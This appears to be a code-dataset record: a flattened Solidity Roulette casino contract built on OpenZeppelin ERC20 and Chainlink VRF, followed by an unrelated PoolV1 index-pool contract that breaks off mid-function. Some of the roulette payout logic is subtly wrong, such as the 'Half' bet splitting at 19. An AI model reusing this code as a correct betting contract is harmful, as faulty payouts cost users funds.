`subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // File: @chainlink/contracts/src/v0.8/dev/VRFRequestIDBase.sol pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // File: @chainlink/contracts/src/v0.8/dev/VRFConsumerBase.sol pragma solidity ^0.8.0; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // File: contracts/Roulette.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface DAIPermit { function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external; } enum BetType { Number, Color, Even, Column, Dozen, Half } enum Color { Green, Red, Black } /** * @title Sakura casino roulette */ contract Roulette is VRFConsumerBase, ERC20, Ownable { struct Bet { BetType betType; uint8 value; uint256 amount; } mapping (bytes32 => uint256[3][]) _rollRequestsBets; mapping (bytes32 => bool) _rollRequestsCompleted; mapping (bytes32 => address) _rollRequestsSender; mapping (bytes32 => uint8) _rollRequestsResults; mapping (bytes32 => uint256) _rollRequestsTime; uint256 BASE_SHARES = uint256(10) ** 18; uint256 public current_liquidity = 0; uint256 public locked_liquidity = 0; uint256 public collected_fees = 0; address public bet_token; uint256 public max_bet; uint256 public bet_fee; uint256 public redeem_min_time = 2 hours; // Minimum required liquidity for betting 1 token // uint256 public minLiquidityMultiplier = 36 * 10; uint256 public minLiquidityMultiplier = 100; // Constant value to represent an invalid result uint8 public constant INVALID_RESULT = 99; mapping (uint8 => Color) COLORS; uint8[18] private RED_NUMBERS = [ 1, 3, 5, 7, 9, 12, 14, 16, 18, 19, 21, 23, 25, 27, 30, 32, 34, 36 ]; event BetRequest(bytes32 requestId, address sender); event BetResult(bytes32 requestId, uint256 randomResult, uint256 payout); // Chainlink VRF Data bytes32 internal keyHash; uint256 internal fee; event RequestedRandomness(bytes32 requestId); /** * Contract's constructor * @param _bet_token address of the token used for bets and liquidity * @param _vrfCoordinator address of Chainlink's VRFCoordinator contract * @param _link address of the LINK token * @param _keyHash public key of Chainlink's VRF * @param _fee fee to be paid in LINK to Chainlink's VRF */ constructor ( address _bet_token, address _vrfCoordinator, address _link, bytes32 _keyHash, uint _fee ) ERC20("SAKURA_V1", "SV1") VRFConsumerBase(_vrfCoordinator, _link) public { keyHash = _keyHash; fee = _fee; bet_token = _bet_token; max_bet = 10**20; bet_fee = 0; // Set up colors COLORS[0] = Color.Green; for (uint8 i = 1; i < 37; i++) { COLORS[i] = Color.Black; } for (uint8 i = 0; i < RED_NUMBERS.length; i++) { COLORS[RED_NUMBERS[i]] = Color.Red; } } /** * Add liquidity to the pool * @param amount amount of liquidity to be added * @param nonce nouce index of permit function * @param expiry expiry date for the permit function * @param allowed indicate "allowed" for the permit function * @param v signature param for the permit function * @param r signature param for the permit function * @param s signature param for the permit function */ function addLiquidity(uint256 amount, uint256 nonce, uint expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) public { require(amount > 0, "You didn't send any balance"); // Collect ERC-20 tokens collectToken(msg.sender, amount, nonce, expiry, allowed, v, r, s); uint256 added_liquidity = amount; uint256 current_shares = totalSupply(); if (current_shares <= 0) { current_liquidity += added_liquidity; _mint(msg.sender, BASE_SHARES * added_liquidity); return; } uint256 new_shares = (added_liquidity * current_shares) / (current_liquidity + locked_liquidity); current_liquidity += added_liquidity; _mint(msg.sender, new_shares); } /** * Add liquidity to the pool: ONLY FOR ERC20 TOKENS WITHOUT PERMIT FUNCTION * @param amount amount of liquidity to be added */ function addLiquidity(uint256 amount) public { addLiquidity(amount, 0, 0, false, 0, 0, 0); } /** * Remove liquidity from the pool */ function removeLiquidity() external { require(balanceOf(msg.sender) > 0, "Your don't have liquidity"); uint256 sender_shares = balanceOf(msg.sender); uint256 sender_liquidity = (sender_shares * current_liquidity) / totalSupply(); current_liquidity -= sender_liquidity; _burn(msg.sender, sender_shares); IERC20(bet_token).transfer(msg.sender, sender_liquidity); } /** * Roll bets * @param bets list of bets to be played * @param randomSeed random number seed for the VRF * @param nonce nouce index of permit function * @param expiry expiry date for the permit function * @param allowed indicate "allowed" for the permit function * @param v signature param for the permit function * @param r signature param for the permit function * @param s signature param for the permit function */ function rollBets(Bet[] memory bets, uint256 randomSeed, uint256 nonce, uint expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) public { uint256 amount = 0; for (uint index = 0; index < bets.length; index++) { require(bets[index].value < 37); amount += bets[index].amount; } require(amount <= getMaxBet(), "Your bet exceeds the max allowed"); // Collect ERC-20 tokens collectToken(msg.sender, amount + bet_fee, nonce, expiry, allowed, v, r, s); current_liquidity -= amount * 35; locked_liquidity += amount * 36; collected_fees += bet_fee; bytes32 requestId = getRandomNumber(randomSeed); emit BetRequest(requestId, msg.sender); _rollRequestsSender[requestId] = msg.sender; _rollRequestsCompleted[requestId] = false; _rollRequestsTime[requestId] = block.timestamp; for (uint i; i < bets.length; i++) { _rollRequestsBets[requestId].push([uint256(bets[i].betType), uint256(bets[i].value), uint256(bets[i].amount)]); } } /** * Roll bets: ONLY FOR ERC20 TOKENS WITHOUT PERMIT FUNCTION * @param bets list of bets to be played * @param randomSeed random number seed for the VRF */ function rollBets(Bet[] memory bets, uint256 randomSeed) public { rollBets(bets, randomSeed, 0, 0, false, 0, 0, 0); } /** * Creates a randomness request for Chainlink VRF * @param userProvidedSeed random number seed for the VRF * @return requestId id of the created randomness request */ function getRandomNumber(uint256 userProvidedSeed) private returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); bytes32 _requestId = requestRandomness(keyHash, fee); //, userProvidedSeed); emit RequestedRandomness(_requestId); return _requestId; } /** * Randomness fulfillment to be called by the VRF Coordinator once a request is resolved * This function makes the expected payout to the user * @param requestId id of the resolved request * @param randomness generated random number */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { require(_rollRequestsCompleted[requestId] == false); uint8 result = uint8(randomness % 37); uint256[3][] memory bets = _rollRequestsBets[requestId]; uint256 rollLockedAmount = getRollRequestAmount(requestId) * 36; current_liquidity += rollLockedAmount; locked_liquidity -= rollLockedAmount; uint256 amount = 0; for (uint index = 0; index < bets.length; index++) { BetType betType = BetType(bets[index][0]); uint8 betValue = uint8(bets[index][1]); uint256 betAmount = bets[index][2]; if (betType == BetType.Number && result == betValue) { amount += betAmount * 36; continue; } if (result == 0) { continue; } if (betType == BetType.Color && uint8(COLORS[result]) == betValue) { amount += betAmount * 2; continue; } if (betType == BetType.Even && result % 2 == betValue) { amount += betAmount * 2; continue; } if (betType == BetType.Column && result % 3 == betValue) { amount += betAmount * 3; continue; } if (betType == BetType.Dozen && betValue * 12 < result && result <= (betValue + 1) * 12) { amount += betAmount * 3; continue; } if (betType == BetType.Half && (betValue != 0 ? (result > 19) : (result <= 19))) { amount += betAmount * 2; continue; } } _rollRequestsResults[requestId] = result; _rollRequestsCompleted[requestId] = true; if (amount > 0) { IERC20(bet_token).transfer(_rollRequestsSender[requestId], amount); current_liquidity -= amount; } emit BetResult(requestId, result, amount); } /** * Pays back the roll amount to the user if more than two hours passed and the random request has not been resolved yet * @param requestId id of random request */ function redeem(bytes32 requestId) external { require(_rollRequestsCompleted[requestId] == false, 'requestId already completed'); require(block.timestamp - _rollRequestsTime[requestId] > redeem_min_time, 'Redeem time not passed'); _rollRequestsCompleted[requestId] = true; _rollRequestsResults[requestId] = INVALID_RESULT; uint256 amount = getRollRequestAmount(requestId); current_liquidity += amount * 35; locked_liquidity -= amount * 36; IERC20(bet_token).transfer(_rollRequestsSender[requestId], amount); emit BetResult(requestId, _rollRequestsResults[requestId], amount); } /** * Returns the roll amount of a request * @param requestId id of random request * @return amount of the roll of the request */ function getRollRequestAmount(bytes32 requestId) internal view returns(uint256) { uint256[3][] memory bets = _rollRequestsBets[requestId]; uint256 amount = 0; for (uint index = 0; index < bets.length; index++) { uint256 betAmount = bets[index][2]; amount += betAmount; } return amount; } /** * Collects the requested token amount from a sender * @param sender address of the sender * @param amount amount of the token to be collected * @param nonce nouce index of permit function, unused if non-permit token * @param expiry expiry date for the permit function, 0 if non-permit token * @param allowed indicate "allowed" for the permit function, unused if non-permit token * @param v signature param for the permit function, unused if non-permit token * @param r signature param for the permit function, unused if non-permit token * @param s signature param for the permit function, unused if non-permit token */ function collectToken(address sender, uint256 amount, uint256 nonce, uint expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) private { if (expiry != 0) { DAIPermit(bet_token).permit(sender, address(this), nonce, expiry, allowed, v, r, s); } IERC20(bet_token).transferFrom(sender, address(this), amount); } /** * Returns a request state * @param requestId id of random request * @return indicates if request is completed */ function isRequestCompleted(bytes32 requestId) public view returns(bool) { return _rollRequestsCompleted[requestId]; } /** * Returns the address of a request * @param requestId id of random request * @return address of the request sender */ function requesterOf(bytes32 requestId) public view returns(address) { return _rollRequestsSender[requestId]; } /** * Returns the result of a request * @param requestId id of random request * @return numeric result of the request in range [0, 38], 99 means invalid result from a redeem */ function resultOf(bytes32 requestId) public view returns(uint8) { return _rollRequestsResults[requestId]; } /** * Returns all the bet details in a request * @param requestId id of random request * @return a list of (betType, value, amount) tuplets from the request */ function betsOf(bytes32 requestId) public view returns(uint256[3][] memory) { return _rollRequestsBets[requestId]; } /** * Returns the current pooled liquidity * @return the current liquidity */ function getCurrentLiquidity() public view returns(uint256) { return current_liquidity; } /** * Returns the current bet fee * @return the bet fee */ function getBetFee() public view returns(uint256) { return bet_fee; } /** * Returns the current maximum fee * @return the maximum bet */ function getMaxBet() public view returns(uint256) { uint256 maxBetForLiquidity = current_liquidity / minLiquidityMultiplier; if (max_bet > maxBetForLiquidity) { return maxBetForLiquidity; } return max_bet; } /** * Returns the collected fees so far * @return the collected fees */ function getCollectedFees() public view returns(uint256) { return collected_fees; } /** * Sets the bet fee * @param _bet_fee the new bet fee */ function setBetFee(uint256 _bet_fee) external onlyOwner { bet_fee = _bet_fee; } /** * Sets the maximum bet * @param _max_bet the new maximum bet */ function setMaxBet(uint256 _max_bet) external onlyOwner { max_bet = _max_bet; } /** * Sets minimum liquidity needed for betting 1 token * @param _minLiquidityMultiplier the new minimum liquidity multiplier */ function setMinLiquidityMultiplier(uint256 _minLiquidityMultiplier) external onlyOwner { minLiquidityMultiplier = _minLiquidityMultiplier; } /** * Withdraws the collected fees */ function withdrawFees() external onlyOwner { uint256 _collected_fees = collected_fees; collected_fees = 0; IERC20(bet_token).transfer(owner(), _collected_fees); } /** * Sets the value of Chainlink's VRF fee */ function setVRFFee(uint256 _fee) external onlyOwner { fee = _fee; } }
Returns the result of a request requestId id of random request return numeric result of the request in range [0, 38], 99 means invalid result from a redeem/
function resultOf(bytes32 requestId) public view returns(uint8) { return _rollRequestsResults[requestId]; }
6,395,092
pragma solidity 0.5.17; import "../../other/1inch.sol"; import "../../other/reetrancy.sol"; import "../../other/Initializable.sol"; interface IOracle{ function getiTokenDetails(uint _poolIndex) external returns(string memory, string memory,string memory); function getTokenDetails(uint _poolIndex) external returns(address[] memory,uint[] memory,uint ,uint); } interface Iitokendeployer{ function createnewitoken(string calldata _name, string calldata _symbol) external returns(address); } interface Iitoken{ function mint(address account, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); } interface IMAsterChef{ function depositFromDaaAndDAO(uint256 _pid, uint256 _amount, uint256 vault, address _sender,bool isPremium) external; function distributeExitFeeShare(uint256 _amount) external; } interface IPoolConfiguration{ function checkDao(address daoAddress) external returns(bool); function getperformancefees() external view returns(uint256); function getmaxTokenSupported() external view returns(uint256); function getslippagerate() external view returns(uint256); function getoracleaddress() external view returns(address); function getEarlyExitfees() external view returns(uint256); function checkStableCoin(address _stable) external view returns(bool); } contract PoolV1 is ReentrancyGuard,Initializable { using SafeMath for uint; using SafeERC20 for IERC20; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Kovan addresses // address public EXCHANGE_CONTRACT = 0x5e676a2Ed7CBe15119EBe7E96e1BB0f3d157206F; // address public WETH_ADDRESS = 0x7816fBBEd2C321c24bdB2e2477AF965Efafb7aC0; // address public baseStableCoin = 0xc6196e00Fd2970BD91777AADd387E08574cDf92a; // Mainnet Addresses address public EXCHANGE_CONTRACT = 0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e; address public WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public baseStableCoin = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // ASTRA token Address address public ASTRTokenAddress; // Manager Account Address address public managerAddresses; // Pool configuration contract address. This contract manage the configuration for this contract. address public _poolConf; // Chef contract address for staking address public poolChef; // Address of itoken deployer. This will contract will be responsible for deploying itokens. address public itokendeployer; // Structure for storing the pool details struct PoolInfo { // Array for token addresses. address[] tokens; // Weight for each token. Share is calculated by dividing the weight with total weight. uint256[] weights; // Total weight. Sum of all the weight in array. uint256 totalWeight; // Check if pool is active or not bool active; // Next rebalance time for pool/index in unix timestamp uint256 rebaltime; // Threshold value. Minimum value after that pool will start buying token uint256 threshold; // Number of rebalance performed on this pool. uint256 currentRebalance; // Unix timeseamp for the last rebalance time uint256 lastrebalance; // itoken Created address address itokenaddr; // Owner address for owner address owner; //description for token string description; } struct PoolUser { // Balance of user in pool uint256 currentBalance; // Number of rebalance pupto which user account is synced uint256 currentPool; // Pending amount for which no tokens are bought uint256 pendingBalance; // Total amount deposited in stable coin. uint256 USDTdeposit; // ioktne balance for that pool. This will tell the total itoken balance either staked at chef or hold at account. uint256 Itokens; // Check id user account is active bool active; // Check if user account is whitelisted or not. bool isenabled; } // Mapping for user infor based on the structure created above. mapping ( uint256 =>mapping(address => PoolUser)) public poolUserInfo; // Array for storing indices details PoolInfo[] public poolInfo; // Private array variable use internally by functions. uint256[] private buf; // address[] private _Tokens; // uint256[] private _Values; address[] private _TokensStable; uint256[] private _ValuesStable; // Mapping to show the token balance for a particular pool. mapping(uint256 => mapping(address => uint256)) public tokenBalances; // Store the tota pool balance mapping(uint256 => uint256) public totalPoolbalance; // Store the pending balance for which tokens are not bought. mapping(uint256 => uint256) public poolPendingbalance; //Track the initial block where user deposit amount. mapping(address =>mapping (uint256 => uint256)) public initialDeposit; //Check if user already exist or not. mapping(address =>mapping (uint256 => bool)) public existingUser; bool public active = true; mapping(address => bool) public systemAddresses; /** * @dev Modifier to check if the called is Admin or not. */ modifier systemOnly { require(systemAddresses[msg.sender], "EO1"); _; } // Event emitted event Transfer(address indexed src, address indexed dst, uint wad); event Withdrawn(address indexed from, uint value); event WithdrawnToken(address indexed from, address indexed token, uint amount); /** * Error code: * EO1: system only * E02: Invalid Pool Index * E03: Already whitelisted * E04: Only manager can whitelist * E05: Only owner can whitelist * E06: Invalid config length * E07: Only whitelisted user * E08: Only one token allowed * E09: Deposit some amount * E10: Only stable coins * E11: Not enough tokens * E12: Rebalnce time not reached * E13: Only owner can update the public pool * E14: No balance in Pool * E15: Zero address * E16: More than allowed token in indices */ function initialize(address _ASTRTokenAddress, address poolConfiguration,address _itokendeployer, address _chef) public initializer{ require(_ASTRTokenAddress != address(0), "E15"); require(poolConfiguration != address(0), "E15"); require(_itokendeployer != address(0), "E15"); require(_chef != address(0), "E15"); ReentrancyGuard.__init(); systemAddresses[msg.sender] = true; ASTRTokenAddress = _ASTRTokenAddress; managerAddresses = msg.sender; _poolConf = poolConfiguration; itokendeployer = _itokendeployer; poolChef = _chef; } /** * @notice White users address * @param _address Account that needs to be whitelisted. * @param _poolIndex Pool Index in which user wants to invest. * @dev Whitelist users for deposit on pool. Without this user will not be able to deposit. */ function whitelistaddress(address _address, uint _poolIndex) external { // Check if pool configuration is correct or not require(_address != address(0), "E15"); require(_poolIndex<poolInfo.length, "E02"); require(!poolUserInfo[_poolIndex][_address].active,"E03"); // Only pool manager can whitelist users if(poolInfo[_poolIndex].owner == address(this)){ require(managerAddresses == msg.sender, "E04"); }else{ require(poolInfo[_poolIndex].owner == msg.sender, "E05"); } // Create new object for user. PoolUser memory newPoolUser = PoolUser(0, poolInfo[_poolIndex].currentRebalance,0,0,0,true,true); poolUserInfo[_poolIndex][_address] = newPoolUser; } function calculateTotalWeight(uint[] memory _weights) internal view returns(uint){ uint _totalWeight; // Calculate total weight for new index. for(uint i = 0; i < _weights.length; i++) { _totalWeight = 